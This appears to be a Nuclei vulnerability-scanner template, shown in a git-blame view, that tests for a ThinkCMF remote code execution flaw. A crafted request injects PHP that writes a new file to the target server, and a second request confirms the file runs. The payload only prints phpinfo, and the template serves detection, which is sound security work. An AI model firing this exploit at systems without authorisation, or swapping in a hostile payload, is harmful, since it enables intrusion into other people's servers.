2021-02-11 17:49:03 +00:00
|
|
|
id: thinkcmf-rce
|
2021-02-11 17:31:25 +00:00
|
|
|
|
|
|
|
info:
|
2021-02-11 17:49:03 +00:00
|
|
|
name: ThinkCMF RCE
|
2021-02-11 17:31:25 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
|
|
|
reference: https://www.freebuf.com/vuls/217586.html
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: thinkcmf,rce
|
2021-02-11 17:31:25 +00:00
|
|
|
|
|
|
|
requests:
|
2021-09-30 14:52:53 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /index.php?a=fetch&content={{url_encode('<?php file_put_contents(\"{{randstr}}.php\",\"<?php echo phpinfo();\");')}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2021-02-11 17:31:25 +00:00
|
|
|
|
2021-09-30 14:52:53 +00:00
|
|
|
- |
|
|
|
|
GET /{{randstr}}.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2021-02-11 17:31:25 +00:00
|
|
|
|
2021-09-30 14:52:53 +00:00
|
|
|
req-condition: true
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'contains(body_2, "PHP Extension")'
|
|
|
|
- 'contains(body_2, "PHP Version")'
|
|
|
|
- 'status_code_2 == 200'
|
|
|
|
condition: and
|